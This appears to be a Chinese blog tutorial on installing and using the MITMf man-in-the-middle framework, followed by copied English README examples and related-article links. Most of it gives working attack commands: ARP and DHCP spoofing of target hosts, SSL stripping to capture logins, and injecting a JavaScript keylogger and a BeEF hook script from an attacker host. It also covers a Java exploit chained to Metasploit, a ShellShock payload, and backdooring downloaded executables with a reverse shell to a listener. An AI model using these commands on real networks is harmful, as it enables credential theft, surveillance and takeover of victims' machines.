一. 安装

项目地址:https://github.com/byt3bl33d3r/MITMf

需要自行手动安装python-nfqueue,pefile模块

sudo apt-get install python-nfqueue,pefile
sudo apt-get install mitmf*
pip uninstall twisted
wget http://twistedmatrix.com/Releases/Twisted/15.5/Twisted-15.5.0.tar.bz2
pip install ./Twisted-15.5..tar.bz2

这样,我们就可以正常使用 mitmf 了
sudo mitmf (一定要使用root权限运行)

下面简要介绍几个MITMf的基础功能,更多扩展工具阅读
https://github.com/secretsquirrel/the-backdoor-factory
https://github.com/secretsquirrel/BDFProxy

二. 使用

工具有几项基本功能:

sslstrip
  部分绕过HSTS,这个不用多说。默认是开启的状态
Filepwn
  主要作用是当被欺骗对象尝试下载文件时,首先对文件进行分析,对可执行文件(PE、ELF)进行后门注入,然后再给到被欺骗对象
Cachekill
  清空客户端的缓存缓冲池,这个在我们需要重新注入一段js时是很有用的。这个功能还是非常有用的。
Spoof
  欺骗模块。当我们使用MITM功能攻击欺骗时绝对是不能缺少的。其主要包括对ARP、ICMP、DHCP进行流量重定向(三种模式不能同时使用)
BeEFAutorun
  该模块可以使框架可以连接到BeEF,将MITM与浏览器渗透结合起来
Replace
  可以对浏览内容进行替换,支持正则表达式。注意,这里模块默认情况下是强制刷新缓存缓冲池的,要想不改变缓冲内容,需要手动指定keep-cache参数
Inject
  可以向被欺骗者的浏览内容中注入各种猥琐的东西,比如js,html,图片,电影。
Browser Profiler
  枚举被欺骗机器的浏览器插件。对于前期的信息收集阶段还是很有用的。
JavaPwn
  可以通过向被攻击机器中注入jar使得浏览内容被毒化,和metasploit联合可以直接渗透机器拿到shell
Javascript Keylogger
  一个键盘记录js
App Cache Poison
  app缓存投毒。对于网页应用程序进行毒化处理,然后进行随心所欲的攻击。是Krzysztof Kotowicz的补充模块。
Upsidedownternet
  恶搞模块,让浏览者的世界翻转。
RedirectsBrowserProfiler
  这个插件可以检测目标的浏览器类型,这将有助于识别漏洞
HTA Drive-By
  注入一个假的更新通知,并提示客户下载一个HTA应用
AppCachePoison
  执行HTML5的App-缓存中毒攻击
BrowserSniper
  执行与外的最新浏览器插件在客户端上HTA Drive-by攻击
.......

使用举例

嗅探SSL传输的数据包
-a参数表示对http和https的数据包都嗅探

python mitmf.py -i eth0 --hsts --spoof --arp --gateway 10.0.0.1 --target 10.0.0.18

绕过HSTS站点抓取登陆明文可以参考:http://www.cnblogs.com/yaseng/p/hsts-bypass-with-mitmf.html

Screenshotter模块
对目标浏览器进行截屏

python mitmf.py -i eth0 --spoof --arp --gateway 192.168.1.1 --target 192.168.1.100 --screen

恶搞功能: 它可以使目标浏览网页时,所有的图片都倒转 180度。

mitmf --spoof --arp -i eth0 --gateway 192.168.1.1 --target 192.168.1.100 --upsidedownternet

Inject模块的注入功能

注入html Iframe 框架 (指向网址:http://www.freebuf.com):
mitmf -i eth0 --spoof --arp --gateway 192.168.1.2 --target 192.168.1.129 --inject --html-url http://www.freebuf.com 注入js:
mitmf -i eth0 --spoof --arp --gateway 192.168.1.2 --target 192.168.1.129 --inject --js-url http://linvex.xxx.cn/test.js 键盘记录js:
mitmf -i eth0 --spoof –-arp –-gateway 192.168.1.1 –-target 192.168.1.114 --jskeylogger

关于js攻击大家可以参考EtherDream同学的JS缓存投毒的文章

最后再看一下“破壳”是如何在DHCP中起作用的

mitmf.py -i eth0 --spoof --dhcp --shellshock

三. 高级玩法(1)与Beef配合使用
运行 beef 来调用 beef 的 hook 脚本: cd /usr/share/beef-xss && ./beef
我们可以在启动界面找到 hook 脚本的地址和 UI界面的地址
在浏览器打开UI界面后,下面我们就用 mitmf 进行中间人攻击。输入如下命令:

mitmf --spoof --arp -i eth0 --gateway 192.168.1.1 --target 192.168.1.114 --inject –js-url http://192.168.1.110:3000/hook.js

原理是: 利用ARP进行地址欺骗,让局域网中的其他电脑,误认为Kali为网关路由。
当目标机器打开;浏览器,就会被注入 hook 脚本。之后便可在beef上进行客户端的控制。
我们可以在另一台实验机器上进行查看,验证下Mac地址是否已经更改。
当目标打开浏览器进行访问时,我们可以在beef的UI客户端上看到目标的已经成功被 hook.
在那台实验机器上,利用审查元素功能进行源码查看。我们可以看到hook 脚本已经被注入

(2)利用java漏洞进行攻击
使用的是javapwn模块。
这个模块事实上就是根据客户端的java版本从msf挑出攻击payload进行溢出渗透攻击的过程,
只不过是将注入的过程加入到了ARP欺骗的过程而不是之前演示的那种直接给客户端一个url,使得攻击更为自然。
将metasploit打开,然后载入msgrpc模块: msf > load msgrpc Pass=abc123
其他部分保持默认就好了。然后是MITMf端,输入以下命令:

mitmf -i eth0 --spoof --gateway 192.168.217.2 --target 192.168.217.129 --javapwn --msfip 192.168.1.100

然后我们就只需要等待就可以了,这个过程我们可以看到靶机所浏览的一些网站记录同时我们也能接收到一些毒化html的反馈信息。
如果顺利,我们的jar就被执行了。

(3)为PE文件注入后门实现渗透
使用Filepwn模块,与msf结合同样可以获得shell。
Filepwn的原理:ARP过程中如果探测到靶机有下载的活动,便劫持下载链接,首先将文件下载下来进行解包分析,如果是可执行文件就尝试注入后门,如果失败则重新打包。最后将文件输出给靶机由靶机进行下载。这里的文档支持 zip和tar.gz格式解包,支持各种可执行文件。
同样我们打开metasploit,使用handler,开始监听:

msfconsole
use exploit/multi/handler
set LHOST 192.168.217.137
set LPORT
run

在使用MITMf前我们需要对配置文件进行配置,注入信息配置如下(只列出作用位置)

…………SNIP…………
[[[WindowsIntelx86]]]
PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND
HOST = 192.168.1.100
PORT = 4444
SHELL = reverse_shell_tcp
SUPPLIED_SHELLCODE = None
ZERO_CERT = False
PATCH_DLL = True
MSFPAYLOAD = windows/shell_reverse_tcp
…………SNIP…………

接下来是MITMf:

./mitmf.py --iface eth0 --spoof --gateway 192.168.1.1 --target 192.168.1.200 --filepwn

然后就是等待靶机下载文件然后执行就可以了。
最后我们的靶机执行了文件,然后msf获得到了shell。
***************************************************************************

https://github.com/byt3bl33d3r/MITMf
Examples

The most basic usage, starts the HTTP proxy SMB,DNS,HTTP servers and Net-Creds on interface enp3s0:
python mitmf.py -i enp3s0 ARP poison the whole subnet with the gateway at 192.168.1.1 using the Spoof plugin: python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 Same as above + a WPAD rogue proxy server using the Responder plugin: python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --responder --wpad ARP poison 192.168.1.16- and 192.168.0.1/ with the gateway at 192.168.1.1: python mitmf.py -i enp3s0 --spoof --arp --target 192.168.2.16-,192.168.0.1/ --gateway 192.168.1.1 Enable DNS spoofing while ARP poisoning (Domains to spoof are pulled from the config file): python mitmf.py -i enp3s0 --spoof --dns --arp --target 192.168.1.0/ --gateway 192.168.1.1 Enable LLMNR/NBTNS/MDNS spoofing: python mitmf.py -i enp3s0 --responder --wredir --nbtns Enable DHCP spoofing (the ip pool and subnet are pulled from the config file): python mitmf.py -i enp3s0 --spoof --dhcp Same as above with a ShellShock payload that will be executed if any client is vulnerable: python mitmf.py -i enp3s0 --spoof --dhcp --shellshock 'echo 0wn3d' Inject an HTML IFrame using the Inject plugin: python mitmf.py -i enp3s0 --inject --html-url http://some-evil-website.com Inject a JS script: python mitmf.py -i enp3s0 --inject --js-url http://beef:3000/hook.js And much much more! Of course you can mix and match almost any plugin together (e.g. ARP spoof + inject + Responder etc..) For a complete list of available options, just run python mitmf.py --help Currently available plugins HTA Drive-By : Injects a fake update notification and prompts clients to download an HTA application
SMBTrap : Exploits the 'SMB Trap' vulnerability on connected clients
ScreenShotter : Uses HTML5 Canvas to render an accurate screenshot of a clients browser
Responder : LLMNR, NBT-NS, WPAD and MDNS poisoner
SSLstrip+ : Partially bypass HSTS
Spoof : Redirect traffic using ARP, ICMP, DHCP or DNS spoofing
BeEFAutorun : Autoruns BeEF modules based on a client's OS or browser type
AppCachePoison : Performs HTML5 App-Cache poisoning attacks
Ferret-NG : Transperently hijacks client sessions
BrowserProfiler : Attempts to enumerate all browser plugins of connected clients
FilePwn : Backdoor executables sent over HTTP using the Backdoor Factory and BDFProxy
Inject : Inject arbitrary content into HTML content
BrowserSniper : Performs drive-by attacks on clients with out-of-date browser plugins
JSkeylogger : Injects a Javascript keylogger into a client's webpages
Replace : Replace arbitrary content in HTML content
SMBAuth : Evoke SMB challenge-response authentication attempts
Upsidedownternet : Flips images degrees

MITMF的更多相关文章

  1. 内网劫持渗透新姿势:MITMf简要指南

    声明:本文具有一定攻击性,仅作为技术交流和安全教学之用,不要用在除了搭建环境之外的环境. 0×01 题记 又是一年十月一,想到小伙伴们都纷纷出门旅游,皆有美酒佳人相伴,想到这里,不禁潸然泪下.子曰:& ...

  2. 强大的内网劫持框架之MITMf

    Mitmf 是一款用来进行中间人攻击的工具.它可以结合 beef 一起来使用,并利用 beef 强大的 hook 脚本来控制目标客户端.下面让我们一起看看如何在 Kali2.0上安装使用 Mitmf ...

  3. 使用mitmf 来绕过HSTS站点抓取登陆明文

    使用mitmf 来绕过HSTS站点抓取登陆明文 HSTS简介 HSTS是HTTP Strict Transport Security的缩写,即:"HTTP严格安全传输".当浏览器第 ...

  4. 局域网中间人:MITMf使用

    系统环境:kali 安装流程参考github官方地址:https://github.com/byt3bl33d3r/MITMf/wiki/Installation 安装相关依赖: apt--dev l ...

  5. 中间人攻击工具mitmf(另类的XSS注入攻击)

    中间人攻击工具mitmf(另类的XSS注入攻击) (一)简介 (二)安装 (三)结合beef使用 (一)简介 Mitmf 是一款用来进行中间人攻击的工具.它可以结合 beef 一起来使用,并利用 be ...

  6. MITMF使用import error

    安装问题: 1.ubuntu 14.04.安装使用capstone时候,提示出现import error:ERROR: fail to load the dynamic library. 解决方法:将 ...

  7. 业务安全通用解决方案——WAF数据风控

    业务安全通用解决方案——WAF数据风控 作者:南浔@阿里云安全 “你们安全不要阻碍业务发展”.“这个安全策略降低用户体验,影响转化率”——这是甲方企业安全部门经常听到合作团队抱怨.但安全从业者加入公司 ...

  8. Github 安全类Repo收集整理

    作者:天谕链接:https://zhuanlan.zhihu.com/p/21380662来源:知乎著作权归作者所有.商业转载请联系作者获得授权,非商业转载请注明出处.刚好这两天对之前github上关 ...

  9. Beef

    修改配置文件/usr/share/beef-xss/config.yaml (1)改vi beef侦听端口:    http:   port:3000(改为80) (2)与Metaspolit关联: ...

随机推荐

  1. C++ 头文件系列(stack)

    简介 该头文件只含有一个类模版stack, 它实现栈的概念,是一个容器适配器(说实话,在写这篇随笔之前我都不知道有这么个类模版). 栈 栈只有一个重要的特性: LIFO(last-in first-o ...

  2. 浅谈CSS3 box-reflect 属性

    今天说一下 CSS3的box-reflect属性,也就是倒影特效. 语法: box-reflect:包括3个值. 1. direction 定义方向,取值包括 above . below . left ...

  3. Jdon框架开发指南

    Jdon框架快速开发指南 开发主要步骤如下: JdonFramework6.0以上两步开发见这里. 快速配置指南 新增/查询/修改/删除(CRUD); 批量查询和分页显示 本文Step By Step ...

  4. CHM木马

    一. 弹出计算器 打开EasyCHM,工具 -> 反编译指定的CHM,选择目标文件和反编译工作目录. 进入反编译的工作目录,找到并编辑主页文件,这里是index.html 在<body&g ...

  5. MFC中CListCtrl说明

    转载:http://blog.csdn.NET/lhy2199/article/details/5177032 listctrl默认view 风格为report CListCtrl类封装"列 ...

  6. 本地win7 把数组写入 txt 文本日志 json_encode转换中文,需要加上JSON_UNESCAPED_UNICODE 不适用unicode --仅仅支持php5.4以后

    json_encode 改进 为 json_encode_ex function json_encode_ex($value){ if (version_compare(PHP_VERSION, '5 ...

  7. [转]学好Mac常用命令,助力iOS开发

    转自:http://www.jianshu.com/p/d9ec00d28237   序言 在iOS开发的过程中,更多地注重iOS开发的效率,熟练使用Mac终端操作的常用命令,可以让你更好的游刃于iO ...

  8. php dday1... web服务器的搭建 数据库的安装....

  9. OBIEE 缓存机制

    1,EM下开关缓存和rpd中高速缓存是一件事,就是nqserver的缓存, 由nqsconfig.ini中配置决定cache是否开启. 当然rpd里面还需要设置,具体的表是否要缓存. 这部分可以看这篇 ...

  10. ntopng源码分析

    参数初始化以及ntop主流程启动 #ifndef WIN32 ) && (argv[][] != '-')) rc = prefs->loadFromFile(argv[]); ...